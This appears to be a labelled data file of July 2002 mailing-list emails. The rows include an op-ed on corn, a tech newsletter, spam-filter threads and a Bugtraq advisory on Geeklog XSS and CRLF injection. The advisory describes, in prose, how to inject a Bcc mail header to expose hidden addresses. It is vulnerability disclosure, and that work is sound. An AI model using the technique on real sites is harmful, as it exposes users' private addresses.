,Flatware or Road Kill? ,"Fri, 19 Jul 2002 10:59:19 -0400",When a Crop Becomes King,"But I *like* corn.. -------- Original Message -------- Subject: [interest] FWD: When a Crop Becomes King Date: Fri, 19 Jul 2002 10:14:23 -0400 (EDT) From: Donald Eastlake 3rd July 19, 2002 When a Crop Becomes King By MICHAEL POLLAN CORNWALL BRIDGE, Conn. -- Here in southern New England the corn is already waist high and growing so avidly you can almost hear the creak of stalk and leaf as the plants stretch toward the sun. The ears of sweet corn are just starting to show up on local farm stands, inaugurating one of the ceremonies of an American summer. These days the nation's nearly 80 million-acre field of corn rolls across the countryside like a second great lawn, but this wholesome, all-American image obscures a decidedly more dubious reality. Like the tulip, the apple and the potato, zea mays (the botanical name for both sweet and feed corn) has evolved with humans over the past 10,000 years or so in the great dance of species we call domestication. The plant gratifies human needs, in exchange for which humans expand the plant's habitat, moving its genes all over the world and remaking the land (clearing trees, plowing the ground, protecting it from its enemies) so it might thrive. Corn, by making itself tasty and nutritious, got itself noticed by Christopher Columbus, who helped expand its range from the New World to Europe and beyond. Today corn is the world's most widely planted cereal crop. But nowhere have humans done quite as much to advance the interests of this plant as in North America, where zea mays has insinuated itself into our landscape, our food system and our federal budget. One need look no further than the $190 billion farm bill President Bush signed last month to wonder whose interests are really being served here. Under the 10-year program, taxpayers will pay farmers $4 billion a year to grow ever more corn, this despite the fact that we struggle to get rid of the surplus the plant already produces. The average bushel of corn (56 pounds) sells for about $2 today; it costs farmers more than $3 to grow it. But rather than design a program that would encourage farmers to plant less corn which would have the benefit of lifting the price farmers receive for it Congress has decided instead to subsidize corn by the bushel, thereby insuring that zea mays dominion over its 125,000-square mile American habitat will go unchallenged. At first blush this subsidy might look like a handout for farmers, but really it's a form of welfare for the plant itself -- and for all those economic interests that profit from its overproduction: the processors, factory farms, and the soft drink and snack makers that rely on cheap corn. For zea mays has triumphed by making itself indispensable not to farmers (whom it is swiftly and surely bankrupting) but to the Archer Daniels Midlands, Tysons and Coca-Colas of the world. Our entire food supply has undergone a process of ""cornification"" in recent years, without our even noticing it. That's because, unlike in Mexico, where a corn-based diet has been the norm for centuries, in the United States most of the corn we consume is invisible, having been heavily processed or passed through food animals before it reaches us. Most of the animals we eat (chickens, pigs and cows) today subsist on a diet of corn, regardless of whether it is good for them. In the case of beef cattle, which evolved to eat grass, a corn diet wreaks havoc on their digestive system, making it necessary to feed them antibiotics to stave off illness and infection. Even farm-raised salmon are being bred to tolerate corn not a food their evolution has prepared them for. Why feed fish corn? Because it's the cheapest thing you can feed any animal, thanks to federal subsidies. But even with more than half of the 10 billion bushels of corn produced annually being fed to animals, there is plenty left over. So companies like A.D.M., Cargill and ConAgra have figured ingenious new ways to dispose of it, turning it into everything from ethanol to Vitamin C and biodegradable plastics. By far the best strategy for keeping zea mays in business has been the development of high-fructose corn syrup, which has all but pushed sugar aside. Since the 1980's, most soft drink manufacturers have switched from sugar to corn sweeteners, as have most snack makers. Nearly 10 percent of the calories Americans consume now come from corn sweeteners; the figure is 20 percent for many children. Add to that all the corn-based animal protein (corn-fed beef, chicken and pork) and the corn qua corn (chips, muffins, sweet corn) and you have a plant that has become one of nature's greatest success stories, by turning us (along with several other equally unwitting species) into an expanding race of corn eaters. So why begrudge corn its phenomenal success? Isn't this the way domestication is supposed to work? The problem in corn's case is that we're sacrificing the health of both our bodies and the environment by growing and eating so much of it. Though we're only beginning to understand what our cornified food system is doing to our health, there's cause for concern. It's probably no coincidence that the wholesale switch to corn sweeteners in the 1980's marks the beginning of the epidemic of obesity and Type 2 diabetes in this country. Sweetness became so cheap that soft drink makers, rather than lower their prices, super-sized their serving portions and marketing budgets. Thousands of new sweetened snack foods hit the market, and the amount of fructose in our diets soared. This would be bad enough for the American waistline, but there's also preliminary research suggesting that high-fructose corn syrup is metabolized differently than other sugars, making it potentially more harmful. A recent study at the University of Minnesota found that a diet high in fructose (as compared to glucose) elevates triglyceride levels in men shortly after eating, a phenomenon that has been linked to an increased risk of obesity and heart disease. Little is known about the health effects of eating animals that have themselves eaten so much corn, but in the case of cattle, researchers have found that corn-fed beef is higher in saturated fats than grass-fed beef. We know a lot more about what 80 million acres of corn is doing to the health of our environment: serious and lasting damage. Modern corn hybrids are the greediest of plants, demanding more nitrogen fertilizer than any other crop. Corn requires more pesticide than any other food crop. Runoff from these chemicals finds its way into the groundwater and, in the Midwestern corn belt, into the Mississippi River, which carries it to the Gulf of Mexico, where it has already killed off marine life in a 12,000 square mile area. To produce the chemicals we apply to our cornfields takes vast amounts of oil and natural gas. (Nitrogen fertilizer is made from natural gas, pesticides from oil.) America's corn crop might look like a sustainable, solar-powered system for producing food, but it is actually a huge, inefficient, polluting machine that guzzles fossil fuel -- a half a gallon of it for every bushel. So it seems corn has indeed become king. We have given it more of our land than any other plant, an area more than twice the size of New York State. To keep it well fed and safe from predators we douse it with chemicals that poison our water and deepen our dependence on foreign oil. And then in order to dispose of all the corn this cracked system has produced, we eat it as fast as we can in as many ways as we can turning the fat of the land into, well, fat. One has to wonder whether corn hasn't at last succeeded in domesticating us. ====== Michael Pollan is the author, most recently, of ""The Botany of Desire: A Plant's-Eye View of the World."" http://xent.com/mailman/listinfo/fork",0,1 Dave Green ,NTK recipient list ,"Fri, 19 Jul 2002 14:51:16 +0100","NTK now, 2002-07-19","_ _ _____ _ __ <*the* weekly high-tech sarcastic update for the uk> | \ | |_ _| |/ / _ __ __2002-07-19_ o join! mail an empty message to | \| | | | | ' / | '_ \ / _ \ \ /\ / / o ntknow-subscribe@lists.ntk.net | |\ | | | | . \ | | | | (_) \ v v / o website (+ archive) lives at: |_| \_| |_| |_|\_\|_| |_|\___/ \_/\_/ o http://www.ntk.net/ ""Until we secure our cyber infrastructure, a few keystrokes and an Internet connection is all one needs to disable the economy and endanger lives..."" - Lamar Smith, US Senator http://www.msnbc.com/news/780923.asp?cp1=1 > DISABLE ECONOMY > You cannot do that here. > EXAMINE CYBER INFRASTRUCTURE > Access Denied. > HIT ECONOMY WITH STICK >> HARD NEWS << life-long pursuits On July 17th, 2001, DMITRY SKLYAROV, coder for the Russian software house ELCOMSOFT, was arrested while visiting the US. His crime: writing code that exposed flaws in Adobe's e-book security, in contravention of the USA's exciting new DMCA. In the next year, thanks to widespread protests, Adobe withdrew their call to prosecute the Russian hacker and Dmitry was freed. Elcomsoft is still in the dock for breaching Adobe's copy restriction routines. If the aim of the prosecution was to cow them into keeping quiet about security problems, it doesn't appear to have worked. On July 12th, 2002, ELCOMSOFT posted to Bugtraq a flaw in Adobe's e-book security. Namely, that in Adobe's ""lending library"" web app for the Adobe Content Server, you can borrow a book for over twenty years (instead of three days) just by changing a hidden Web form value. The library site is just a demonstration app, so it's not a serious problem, but it does give Elcomsoft room for a catty little addendum. ""Some time ago"", they write ""we have found much more serious problem with another Adobe software and reported it to the vendor; however, there was no response at all, and so we decided not to waste our time reporting this one (about the library) to Adobe"". How much reaction do they want? Salt sown in the soil of Moscow and the Volga canal aflame? http://lists.insecure.org/bugtraq/2002/Jul/0133.html - don't plan any trips to Disneyland, Vlad http://librarydemo.adobe.com/library/ - fixed, it looks, by stubbing out the code http://lists.insecure.org/bugtraq/2002/Jul/0193.html - now, for real chutzpah, post a Symantec exploit on the newly 0wn3d BugTraq We'll tread cautiously with this one, as it involves Vast Ageless Corporations Who Have Retained Counsel Living Where Their Glowing Eyesockets Used To Be. Just days before we read on Slashdot that zombie company FORGENT is demanding patent license fees for users of JPEG, we're contacted by someone who has received a similiarly threatening letter - this time, from the rather more established Lucent Technologies. The message reads: ""After some market research it has come to our attention that some of your company's products may employ the JBIG/JPEG Standard. Therefore, Lucent Technologies GRL LLC, Lucent's licensing agent, is contacting your company regarding your interest in obtaining a license for patents."" What follows is the usual demand for fees, dire threats if compliance is thwarted, requests that the guards seize the criminals and throw them in Patent Dungeon, etc. Now, Lucent's patents don't seem to be breached by a JPEG implementaton (although it's known that JBIG is patent-encumbered; hence JBIG-2). So why does Lucent bring up JPEG at all? A curious wording for sure, and we'd be interested to see if anyone else has been contacted in these terms. Mail us at tips@spesh.com if you have. http://slashdot.org/article.pl?sid=02/07/18/157217 - best use of porn collection in slashdot post modded funny +5 http://www.ghostscript.com/pipermail/gs-devel/2002-February/001203.html - JBIG encumbered, JBIG2 no Oh, is it time again already for Esquire's 50 Sharpest Men 2002? Joy! Hidden among the usual suspects - which include Richard Dawkins (""scientist""), Kevin Warwick (""scientist""), Kevin Eldon (""comedian"" - and KING OF HOBBIES), is one Charlie Brooker (listed here as a ""TV Go Home""). Merely appearing in the list seems to have prompted the reclusive, unsmiling, and often violent comedian to hurredly post a TVGoHome update from his pile of cardboard boxes near Soho, which is all to the good. But does he really deserve the title? What *is* sharpness? ""In case your are [sic] in any doubt"", the site explains, ""sharpness is, above all, an attitude"". Now the dictionary says it's also ""having a bitter taste"", and ""harshness of manner"", and given that Hank, the Angry Drunken Dwarf is both unlisted and dead, we think Brooker's a show-in for the Web protest/mess-with-publisher's-heads vote. We urge you to vote now, express the will of the people, and win some vile perfume or a horrible watch. http://www.esquire.co.uk/esquire50.htm - warning: torturous and unnecessarilly prolonged web form http://www.thebee.com/bweb/iinfo106.htm - Hank: another exciting Net meme you missed because you go out too much >> ANTI-NEWS << berating the obvious when oh when will the public tire of PUERILE GOOGLE TYPOS?: http://www.google.com/search?q=overcocking , ""addtition"", ""t-shits"", ""eductation"", and (via prudish spellcheckers?): http://www.google.com/search?q=%22public+lice%22 ... don't buy: http://www.ebuyer.com/customer/products/index.html?product_uid=26497 ... bringing a whole new meaning to ""colour naming systems"": http://www.ntk.net/2002/07/19/dohhue.gif ... might explain its bewildered state: http://www.ntk.net/2002/07/19/dohpot.gif ... http://www.contactnet.ro/solutiixxi/index.php?lim=e vs ""On our children's game-place, they can romp after hug-desire!!"": http://www.tourismus-tirol.com/scharnitz/risserhof/indexe.html ... self-fulfilling: http://www.ntk.net/2002/07/19/dohdig.gif ... and when VIM met the PALM platform, the ""Related E-Books"" were MOIDER: http://www.ntk.net/2002/07/19/dohvim.gif ... >> EVENT QUEUE << goto's considered non-harmful Yes, we have concerns about encountering Slashdot readers ""au naturel"" without any kind of intervening moderation system. And yet, at the same time, we cannot look away. 7pm local time, Thu 2002-07-25 marks the world's first SLASHDOT MEETUP EVENT (check local listings for details, free), attracting - at time of writing - an impressive 91 interested signups for the London gathering (19 for Manchester, Leeds 17, Glasgow 11, Birmingham 9, Liverpool 6, and so on). Usual warnings about meeting your online ""friends"" are, we imagine, more than usually applicable here - especially as no-one can work out what the organisers are getting out of it. Spamming lists? Kickbacks from the democratically selected venues? Or valuable demographic info like the fact that ""Elijah Wood"" is currently more popular in hobbit-friendly Glasgow than U2, Tori Amos, or Duran Duran? http://slashdot.meetup.com/ - #goth girls for bearded sysadmins http://www.defcon.org/ - plus Defcon in Vegas in two weeks' time >> TRACKING << sufficiently advanced technology : the gathering Once again that silly 5K Web competition thing gets the headlines. And once again, we must rub its fatty, fatty chin against the honed shard of flint that is the 2002 1K MINIGAME 8-BIT CODING COMPETITION until it's shaved meek. 1024 bytes is all you (must have) wrote: to enter, arrange them to form a working game on any 8-bit micro you choose. In response to complaints from last year, ""middle class BBC Micro Fauntleroys"" will be permitted, says last year's judge, Matt Westcott. More weakness is shown by permitting Atari 2600s, which have 2K cartridges, to enter (you must fill the last 1K with zeros), and also the TI99/4A which as everyone knows has sixteen bits. We do hope this doesn't end in Zork virtual machines or Postscript or something. http://www.ffd2.com/minigame/ - ""The competition will never be 'fair'"" - BETTER! http://entries.the5k.org/946/wolf5k.html - oh, the decadence http://www.igf.com/submit.htm - $20,000 prize money; probably not accepting Oric Forth games this year >> MEMEPOOL << ceci n'est pas une http://www.gagpipe.com/ ""Now That's What I Call Copyright Infringement, Vols 1,2,3"": http://pod-135.dolphin-server.co.uk/~boom/thecd/boom.php ... http://news.bbc.co.uk/hi/english/uk/2131236.stm - a case for: http://news.bbc.co.uk/hi/english/uk/newsid_1490000/1490957.stm ? ... forget offshore accounting - what's to stop them going back in time with the proceeds and killing all the investors' grandfathers?: http://www.timetravelfund.com/ ... telnet econet: http://www.heyrick.co.uk/econet/misc/tcpip.html ... ... you know, wouldn't a simple 404 attract less attention?: http://www.ttfn.com/ ... Transformers! Terrorists in disguise! http://www.tsa.gov/workingwithtsa/aircraft_prohibit.shtm ... obligatory filk Pie cover: http://home.mchsi.com/~jeffwadler/ ... they laughed when I sat down at the VT100 terminal: http://www.prodikeys.com/ ... and kept laughing, thanks to: http://www.colorpilot.com/sound.html ... >> GEEK MEDIA << what, *another* http://www.tvgohome.com/ ? TV>> now that kids are taking over from teachers in RULE THE SCHOOL (5pm, Fri, BBC1) and redecorating their homes in HOME ON THEIR OWN (7pm, Sat, ITV), we can't wait for the concept gameshows where they fly planes, run pubs and perform lifesaving surgery... Wired UK's Hari Kunzru reappears on NEWSNIGHT REVIEW (11pm, Fri, BBC2)... and if you like James ""Copland"" Mangold's sensitive character study of an overweight man HEAVY (1.05am, Fri, BBC2), the IMDB also recommends Eddie Murphy's ""The Nutty Professor""... The Beach Boys' ""Pet Sounds"" is the subject of ART THAT SHOOK THE WORLD (7.20pm, Sat, BBC2), even though it doesn't have ""Good Vibrations"" on it... Meg Ryan experiments with setting a romantic comedy during the Gulf War, and where one of the protagonists is dead, in COURAGE UNDER FIRE (9.15pm, Sat, BBC1)... but we'd skip that - along with laboured Tim Burton homage MARS ATTACKS! (10.35pm, Sat, ITV) - in favour of Ensign Ro and Kevin Spacey - together at last! - in top-notch low-budget office horror SWIMMING WITH SHARKS (10.50pm, Sat, C5)... Radha ""Pitch Black"" Mitchell shows up in Aussie relo-drama LOVE AND OTHER CATASTROPHES (1.05am, Sat, BBC2)... Matt ""Max Headroom"" Frewer fails to halt the downward slide of the ""National Lampoon"" franchise in Washington excursion NATIONAL LAMPOON'S SENIOR TRIP (12.30am, Sat, ITV), compared to acknowledged classics like NATIONAL LAMPOON'S VACATION (9pm, Tue, C5)... the final of JUNKYARD WARS (8pm, Mon, C4) offers a taste of where these shows are going when the teams must build full-size remote-controlled ""combat cars""... while a ""I Preferred The Terrorism Of The 1980s"" special recreates the SAS - EMBASSY SIEGE (9pm, Thu, BBC2) - if only everything was as simple as pseudo-'70s supernatural action comedy GOOD VS EVIL (9pm, Wed, Sci-Fi)... FILM>> David Cronenberg explains why the ""Friday The 13th"" machete murderer is so hard to kill, shortly before he goes up against two of the chicks from ""Gene Roddenberry's Andromeda"" in undemanding self-referential ""Alien""-alike JASON X ( http://www.cndb.com/movie.html?title=Jason+X+%282001%29 : [Lexa ""Andromeda"" Doig] [is] flat on her back on a table recuperating, and the camera shows her boobs; [Lisa ""Beka Valentine""] Ryder plays a robot who wants to be more of a woman [...] her nipples fall off for a little comic relief)... while the director of ""Candyman"" and UK hacker classic ""Smart Money"" digital-videos drug-fuelled Hollywood self-excoriation IVANS XTC ( http://www.cndb.com/movie.html?title=ivans+xtc : [Lisa Enos], who also wrote the screenplay and whose first film this is, appears in a few full frontal scenes a little more than a third of the way through)... otherwise it's star- packed CGI talking animal interspecies romance STUART LITTLE 2 (imdb: sequel/ anthropomorphic/ based-on-novel/ bird/ mouse/ part-computer-animation/ soccer)... or odd-sounding Oirish period frolic THE ABDUCTION CLUB ( http://www.bbfc.co.uk/ : Cuts required to sight of 2 men hanging by necks in execution scene, on grounds of potentially harmful imitable technique, [in accordance with] category standards and Video Recordings Act 1984)... CONFECTIONERY THEORY>> as tastebuds acclimatise to the acquired tang of DIET COKE LEMON, reader WAYNE WILLIAMS has been forced to look further afield for his acidic thrills, proclaiming the ""Citrus"" version of ROWNTREE'S FRUITSOME CEREAL BARS ""pretty tasty, a bit like a lemon meringue pie in a bar"". Frankly we preferred the ""Tropical"" and ""Red Berry"" variants, though neither as much as the various ALPEN BARS with ""yoghurt"" or ""chocolate"" style toppings - and all for just twice the fat of ordinary breakfast cereal! In other most-important-meal-of-the-day news, those eggy ""breakfast pizza"" CHICAGO TOWN SCRAMBLES [NTK 2002-04-12] are delicious (particularly with tomato ketchup), and have been flying off the shelves in a 2-pack for 99p deal in selected branches of Sainsbury's... as predicted in NTK 2001-08-10, KFC have taken advantage of MCDONALD'S weakness in the KITKAT MCFLURRY arena, and rolled out their identically-sized rival AVALANCHE (also 99p) with a freakish selection of toppings including chocolate sauce, Cadbury's Flake, M&M's and Starburst Joosters. In a non-ice-cream-related incident, CHARLOTTE LATIMER was the first to contact us with a sighting of STARBURST ""straight- out-of-the-1993-naming-dept"" FLIPSTERS HARD CANDY (from 30p/pack): ""pretty nice hard candies (peach, apple, raspberry and forest fruits) with a yucky plastic-looking splodge on one side that purports to offer some kind of creaminess (we guess)"", but still no news yet of the brand's other mutant offspring: teardrop-shaped FRUITINESSE (from 49p), non-fish- flavoured gummy SEA MONSTERS (from 99p/bag), and STARBURST CAKE BARS (UKP1.05 for pack of 5)... and finally, MIKE WALSH of Finland remained nonplussed with last month's UK sighting of an imported South African NESTLE SMARTIES IN MILKYBAR CHOCOLATE, maintaining he bought a White ""Ritter Sport"" bar with Smarties in, ""in a branch of the (German) Spar chain in Tenerife in January"", and was generally disappointed by its usability: ""Smarties kept falling out"", he complains. But Nestle is innovating over here as well, with the imminent arrival of WONKA XPLODER and GOLDEN CRUNCHER biscuits (79p/ pack of 6) - replacing underperforming former NTK ""Taste Abominations"" WONKA OOMPA sweets - and its first new chocolate launch in 5 years, solid-looking would-be Dairy Milk-killer NESTLE DOUBLE CREAM (40p, available from July 29)... >> SMALL PRINT << Need to Know is a useful and interesting UK digest of things that happened last week or might happen next week. You can read it on Friday afternoon or print it out then take it home if you have nothing better to do. It is compiled by NTK from stuff they get sent. Registered at the Post Office as '""funny""' http://www.net-watch.org/1.htm NEED TO KNOW THEY STOLE OUR REVOLUTION. NOW WE'RE STEALING IT BACK. Archive - http://www.ntk.net/ Unsubscribe? Mail ntknow-unsubscribe@lists.ntk.net Subscribe? Mail ntknow-subscribe@lists.ntk.net NTK now is supported by UNFORTU.NET, and by you: http://www.geekstyle.co.uk/ (K) 2002 Special Projects. Copying is fine, but include URL: http://www.ntk.net/ Tips, news and gossip to tips@spesh.com All communication is for publication, unless you beg. Press releases from naive PR people to pr@spesh.com Remember: Your work email may be monitored if sending sensitive material. Sending >500KB attachments is forbidden by the Geneva Convention. Your country may be at risk if you fail to comply.",0,1 Ulf Harnhammar ,bugtraq@securityfocus.com,"Fri, 19 Jul 2002 02:23:52 +0200 (CEST)",[VulnWatch] Geeklog XSS and CRLF Injection,"Geeklog XSS and CRLF Injection PROGRAM: Geeklog VENDOR: Tony Bibbs et al. HOMEPAGE: http://geeklog.sourceforge.net/ VULNERABLE VERSIONS: 1.3.5sr1, possibly earlier versions as well NOT VULNERABLE VERSIONS: 1.3.5sr2 LOGIN REQUIRED: no SEVERITY: high DESCRIPTION: ""Geeklog is a 'blog', otherwise known as a Weblog. It allows you to create your own virtual community area, complete with user administration, story posting, messaging, comments, polls, calendar, weblinks, and more! It can run on many different operating systems, and uses PHP4 and MySQL."" (direct quote from the program's homepage) Geeklog is published under the terms of the GNU General Public License. SECURITY HOLES: 1) Geeklog has got an XSS hole that affects both the stories and the comments. The program removes the HTML elements that are used for scripting, but it fails to remove the HTML attributes that are used for the same purpose, which leads to this hole. One example of an XSS attack would be: life has made her that much bolder now When a victim moves the mouse pointer over the quote from ""Lady Godiva's Operation"", an intrinsic event occurs and the JavaScript code is executed. (There is also an XSS issue in the search engine. It was reported by ome1, and not by me.) 2) Geeklog has got a CRLF Injection hole in User Profile: Send Email. The users' mail addresses are meant to be secret, but by using this hole, you can get someone's mail address anyway. The problem is that you can add extra mail headers, by using a CRLF combination followed by an extra mail header in the Subject field. One way to add them is saving the HTML document with the form, and changing the tag to a textarea. After opening the edited document in a web browser, you enter a Subject line in the textarea, press Enter, and then you enter your extra mail header. When the mail is sent, that header will be included. If the header in question is ""Bcc: "", the message will silently be copied to you, thus revealing the recipient's mail address without them knowing. I have described this type of problem in further detail in my ""CRLF Injection"" paper, which is available at http://cert.uni-stuttgart.de/archive/bugtraq/2002/05/msg00079.html COMMUNICATION WITH VENDOR: The vendor was contacted on the 1st of July. Version 1.3.5sr2, which does not have any of these security holes (neither mine nor ome1's), was released on the 9th of July. RECOMMENDATION: I recommend that all administrators upgrade to version 1.3.5sr2. // Ulf Harnhammar ulfh@update.uu.se",0,1 yyyy@spamassassin.taint.org (Justin Mason),"""Christopher Crowley"" ","Fri, 19 Jul 2002 16:33:25 +0100",Re: [SAtalk] Removing SPAM: from SA notice,"""Christopher Crowley"" said: > That says that every line is prefixed with ""SPAM: "". Could you > explain how to configure that in 10_misc.cf or in local.cf ? The problem with the ""SPAM: "" prefix, is that it's required for spamassassin -d (removing SpamAssassin markup) to work correctly. --j. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Bill Humphries ,Rodent of Unusual Size ,"Fri, 19 Jul 2002 08:54:02 -0700",Re: When a Crop Becomes King,"On Friday, July 19, 2002, at 07:59 AM, Rodent of Unusual Size wrote: > These days the > nation's nearly 80 million-acre field of corn rolls across the > countryside like a second great lawn, but this wholesome, all-American > image obscures a decidedly more dubious reality. And if you mention any of the health problems too loudly, the kids with glowing eyes take you away into the fields... http://www.angelfire.com/tn/cotcfanpage/ ---- Bill Humphries http://www.whump.com/moreLikeThis/ http://xent.com/mailman/listinfo/fork",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Fri, 19 Jul 2002 18:11:36 +0200 (CEST)",JPEGs patented,"------------------------------------------------------------------------------ A video conferencing company based in Austin, Texas says it's going to pursue royalties on the transmission of JPEG images. And it's already found a licensee: Sony Corporation. Formerly known as VTEL, Forgent Networks acquired Compression Labs in 1997, acquiring this patent into the bargain. The patent claim was filed in 1986 but Compression Labs never pursued royalties. [...] ------------------------------------------------------------------------------ Rest at: http://www.theregister.co.uk/content/4/26272.html The patent is at: http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO1&Sect2=HITOFF&d=PALL&p=1&u=/netahtml/srchnum.htm&r=1&f=G&l=50&s1='4,698,672'.WKU.&OS=PN/4,698,672&RS=PN/4,698,672 Groan, Rob. .-. .-. / \ .-. .-. / \ / \ / \ .-. _ .-. / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / `-' `-' \ / \ / \ \ / `-' `-' \ / `-' `-' http://xent.com/mailman/listinfo/fork",0,1 Tom ,Robert Harley ,"Fri, 19 Jul 2002 12:32:23 -0400 (EDT)",Re: JPEGs patented,"So are PNGs still kosh? http://xent.com/mailman/listinfo/fork",0,1 Matthias Haase ,rpm-zzzlist@freshrpms.net,"Fri, 19 Jul 2002 18:30:16 +0200",Re: gentoo 0.11.28 is out..,"On Thu, 18 Jul 2002 13:00:29 +0200 Matthias Saou wrote: > Once upon a time, Matthias wrote : > > ..see subject. > ..see valhalla.freshrpms.net ;-) Hi, Matthias, You should temporarly remove gentoo 0.11.29 from valhalla.freshrpms.net. This build (and 0.11.28) has a strong bug: Problems with copying ""deep"" directories. Have reported this to Emil, he looks currently into it, a fix should be available soon.. Sorry -- regards from Germany Matthias _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 mailman-owner@lists.boxhost.net,"yyyy@spamassassin.taint.org, alex@evilal.com, thomas@wibble.to","Fri, 19 Jul 2002 17:53:01 +0100",Irish Internet Users subscription notification,"billy@billyglynn.com has been successfully subscribed to Irish Internet Users.",0,0 Nix ,yyyy@spamassassin.taint.org (Justin Mason),19 Jul 2002 21:51:49 +0100,Re: [SAtalk] Two rule suggestions,"On Fri, 19 Jul 2002, Justin Mason mused: > Shane Williams said: >> Also, if a single line of yelling scores -0.036, why not just round >> it off to 0 and not have the test run at all? > > good question ;) It seems reasonable to have a configurable minimum below which spamassassin flattens the test to zero (turning it off): by default set to zero; but if you set it to say 0.01, spamassassin would ignore tests with scores -0.01<0<0.01 (trading accuracy for time). The overkill variant of this feature would have scores scored by (score * relative-time-taken) with relative-time-taken computed over a large corpus (probably Craig's ;} ). Then you could specify a minimum value of *that* parameter to flatten at, giving assurances that you're killing only tests that are expensive for their utility. Unfortunately I can't think of a good name for that parameter. I can whip up a patch if anyone thinks this is any use. -- `There's something satisfying about killing JWZ over and over again.' -- 1i, personal communication",0,0 Tom Geller ,spamcon-tools@spamcon.org,"Fri, 19 Jul 2002 14:52:23 -0700","Re: [spamcon-tools] Need some help on SPAM, tools, answering a few questions, Thanks.","At 11:30 AM -0700 7/19/02, William Pietri wrote: >Laws occasionally are proposed; many are either clue-deficient or >warped by special interests to be worse than no law at all. Others >probably have more detailed information, but I look at the Spamcon >site and at CAUCE for this sort of info. Specifically, we keep track of laws and cases at . Another source is . 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This year's theme is 'The Science of Perl', which means that we would really like to hear about suggestions for talks, projects, experiences which involve both perl and science. This should not be regarded as a restriction, more as a 'nice to have' :-) Proposals may be submitted between January 1st 2002 and July 30th 2002."" Discuss this story at: http://use.perl.org/comments.pl?sid=02/07/18/1430255 Links: 0. http://www.yapc.org/Europe/ +--------------------------------------------------------------------+ | Perl 5.8.0 Released | | posted by hfb on Friday July 19, @09:29 (releases) | | http://use.perl.org/article.pl?sid=02/07/19/038259 | +--------------------------------------------------------------------+ [0]jhi writes ""After more than two long years of hard work, the perl5-porters is proud to announce Perl 5.8.0. The most important new features are enhanced Unicode and threads support, and the new I/O subsystem called PerlIO, but there are lots of new goodies, not to mention bazillion bug fixes. The full [1]announcement is available, and you can read [2]what is new in 5.8.0, and if you like what you see, start [3]installing. Since this release has extensive support for non-Latin scripts, we also translated the announcement to [4]Traditional Chinese (Big5-ETEN), [5]Simplified Chinese (EUC-CN or GB2312), [6]Japanese (EUC-JP), and [7]Korean (EUC-KR) (by Autrijus Tang, Dan Kogai, and Jungshik Shin). [8]ftp://ftp.cpan.org/pub/CPAN/src/perl-5.8.0.tar.gz is the main URL to use, but of course any CPAN mirror will do once they catch up. Share and Enjoy! -- Jarkko Hietaniemi, on behalf of the Perl5 Porters"" Discuss this story at: http://use.perl.org/comments.pl?sid=02/07/19/038259 Links: 0. mailto:jhi@iki.fi 1. http://dev.perl.org/perl5/news/2002/07/18/580ann/ 2. http://dev.perl.org/perl5/news/2002/07/18/580ann/perldelta.pod 3. http://dev.perl.org/perl5/news/2002/07/18/580ann/INSTALL 4. http://dev.perl.org/perl5/news/2002/07/18/580ann/p580ann.txt.big5-tw 5. http://dev.perl.org/perl5/news/2002/07/18/580ann/p580ann.txt.euc-cn 6. http://dev.perl.org/perl5/news/2002/07/18/580ann/p580ann.txt.euc-jp 7. http://dev.perl.org/perl5/news/2002/07/18/580ann/p580ann.txt.euc-kr 8. ftp://ftp.cpan.org/pub/CPAN/src/perl-5.8.0.tar.gz +--------------------------------------------------------------------+ | Parrot 0.0.7 Released | | posted by pudge on Friday July 19, @13:40 (parrot) | | http://use.perl.org/article.pl?sid=02/07/19/1346238 | +--------------------------------------------------------------------+ [0]DrForr blesses us with version 0.0.7 of Parrot, including Perl 6 grammar and a small, but functional, compiler. Full announcement is below. This story continues at: http://use.perl.org/article.pl?sid=02/07/19/1346238 Discuss this story at: http://use.perl.org/comments.pl?sid=02/07/19/1346238 Links: 0. mailto:jgoff@perl.org Copyright 1997-2002 pudge. All rights reserved. ====================================================================== You have received this message because you subscribed to it on use Perl. To stop receiving this and other messages from use Perl, or to add more messages or change your preferences, please go to your user page. http://use.perl.org/my/messages/ You can log in and change your preferences from there.",0,1 Brent Welch ,Valdis.Kletnieks@vt.edu,"Fri, 19 Jul 2002 10:20:46 -0700",Re: Minor whoops with glimpse support,"There are some cases like this with ""incomplete ftoc"". These are surely old bugs that appeared after I added the ability to only scan the tail of the ftoc if for some reason the scan module decides it cannot easily merge the newly scanned (scan unseen) into the tail of the cached scan listing. Hmm - I poked around a bit. glimpse.tcl uses Msg_Change, which has code in it to try and deal with showing a message that isn't in the ftoc: Exmh_Status ""Cannot find msg $msgid - Rescan?"" Is that message hiding in your log? Perhaps there should be a return from Msg_Change that glimpse.tcl can use to decide what to do next. >>>Valdis.Kletnieks@vt.edu said: > Scenario: > > Inbox has a ""dirty"" ftoc, only the last 100 entries (3500-last or so). > > Go to search... glimpse. Glimpse finds a hit in inbox/3448 (which > isn't > in the ftoc). Clicking on that one results in a find tool being > launched > *on the current item* (which of course misses, since the search string > isn't IN that item - I wasn't even in 'inbox' at the time. We don't > change > folders to inbox or display the message that got hit. > > Clicking on another 'glimpse' hit that was an item that was in a > non-dirty > ftoc worked as expected - folder changed and that mail displayed, and > the search tool found the hit. > > /Valdis -- Brent Welch Software Architect, Panasas Inc Pioneering the World's Most Scalable and Agile Storage Network www.panasas.com welch@panasas.com _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,"Anders Eriksson , exmh-workers@spamassassin.taint.org","Fri, 19 Jul 2002 16:16:29 -0500",Re: new bugs,"--==_Exmh_-2058972181P Content-Type: text/plain; charset=us-ascii > From: Chris Garrigues > Date: Thu, 18 Jul 2002 18:21:28 -0500 > > > From: Anders Eriksson > > Date: Thu, 18 Jul 2002 11:57:06 +0200 > > > > > > I just installed from cvs as of today and compared to cvs as of ~2 > > months ago: > > > > +Snapper behaviour when 'n'ing through mails! Nice! > > > > -my bgprocessing runs flist each minute. What happens is that the > > flist goes blank for about 0.5 seconds and then redisplays from the > > top of the list. This, while I was reading messages somewhere in the > > middle of the list. > > > > -new messgaes tends to be colored in black (as if read) although the > > are not. It is especially obvious since my scan format slaps in a 'U' > > 